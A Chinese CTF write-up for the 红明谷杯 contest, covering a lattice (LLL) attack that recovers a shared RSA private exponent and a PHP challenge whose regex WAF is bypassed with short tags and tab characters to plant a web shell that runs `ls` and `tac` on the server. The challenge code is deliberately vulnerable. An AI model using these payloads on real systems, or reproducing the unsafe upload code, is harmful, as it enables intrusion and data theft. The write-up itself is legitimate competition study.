红明谷杯数据安全大赛技能场景赛

位于福建省中西部的三明市是一座有着优良革命血脉及红色精神的土地,作为曾经的中央苏区的核心区、中央红军长征的出发地、红旗不倒的革命根据地、伟人革命的重要实践地,这片红土地在数字化的今天,在打击网络犯罪,维护数字空间秩序方面同样褒有红色的先进性。结合数字中国峰会,开创网络安全赛事红色品牌——“红明谷”杯,将“风展红旗如画”延伸至网络安全领域,与全国各界网络精英一同打造网络空间的红色安全保卫基地。

本届大赛将创新通过安全意识赛、技能场景赛、揭榜挑战赛等多种竞赛模式,综合考察社会公众、党政机关、行业单位、科研院校等社会各界的网络安全理论及实践应用水平,促进网络实战,建立红色防线,解决实际问题,立体化提升参赛各方网络空间数字治理能力。

https://www.ichunqiu.com/hmgctf

报了名,因工作日没怎么参加,下午抽空做了两题。

Rank: 80+


Misc

签到

一起来参与数据安全知识小竞赛。

答题拿flag。

歪比歪比

戴夫发送了一些信息给僵尸,但是被我截获到了。看看能从里边发现什么?好像是一个Surprise,你来翻译翻译?

流量包里套着哈夫曼编码题,根据词频解码01串。

正要解出,到时间了。

Crypto

ezCRT

Chinese Remainder Theorem is fantastic

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from Crypto.Util.number import *
import gmpy2
from random import shuffle

flag = b"flag is here"

def shuffle_flag(s):
str_list = list(s)
shuffle(str_list)
return ''.join(str_list)

nl = []
el = []
count = 0
while count != 5:
p = getPrime(512)
q = getPrime(512)
n = p * q
phi = (p - 1) * (q - 1)
d = gmpy2.next_prime(bytes_to_long(flag))
e = gmpy2.invert(d, phi)
nl.append(n)
el.append(int(e))
count += 1

print(nl)
print(el)

cl = []
flag = shuffle_flag(flag.decode()).encode()
for i in range(len(nl)):
cl.append(pow(bytes_to_long(flag), el[i], nl[i]))
print(cl)

五组 $n,e$,共私钥 $d$,用LLL算法打。发现 $n$ 都已帮从小到大排好序,一步到位。

由于 d = gmpy2.next_prime(bytes_to_long(flag)),求出 $d$ 后往回遍历拿到flag。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
#Sage
from gmpy2 import *
n =
e =
c =

M=iroot(int(n[4]),int(2))[0]
a = [0]*6
a[0] = [M,e[0],e[1],e[2],e[3],e[4]]
a[1] = [0,-n[0],0,0,0,0]
a[2] = [0,0,-n[1],0,0,0]
a[3] = [0,0,0,-n[2],0,0]
a[4] = [0,0,0,0,-n[3],0]
a[5] = [0,0,0,0,0,-n[4]]

Mat = matrix(ZZ,a)
Mat_LLL = Mat.LLL()
d = abs(Mat_LLL[0][0]) // M

for k in range(1500):
print(bytes.fromhex(hex(d-k)[2:]))

Web

write_shell

万无一失的waf。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php
error_reporting(0);
highlight_file(__FILE__);
function check($input){
if(preg_match("/'| |_|php|;|~|\\^|\\+|eval|{|}/i",$input)){
// if(preg_match("/'| |_|=|php/",$input)){
die('hacker!!!');
}else{
return $input;
}
}

function waf($input){
if(is_array($input)){
foreach($input as $key=>$output){
$input[$key] = waf($output);
}
}else{
$input = check($input);
}
}

$dir = 'sandbox/' . md5($_SERVER['REMOTE_ADDR']) . '/';
if(!file_exists($dir)){
mkdir($dir);
}
switch($_GET["action"] ?? "") {
case 'pwd':
echo $dir;
break;
case 'upload':
$data = $_GET["data"] ?? "";
waf($data);
file_put_contents("$dir" . "index.php", $data);
}
?>

简单RCE。

先用 ?action=pwd 得到所在目录,再用 ?action=upload&data=xxx 写PHP代码。

waf()函数过滤了php 和 空格,用短标签和 %09 即可绕过。

?action=upload&data=<?=`ls%09/`?> 读根目录,发现文件 !whatyouwantggggggg401.php

?action=upload&data=<?=`tac%09/!whatyou*`?> 读文件,访问sandbox目录查看源码得到flag。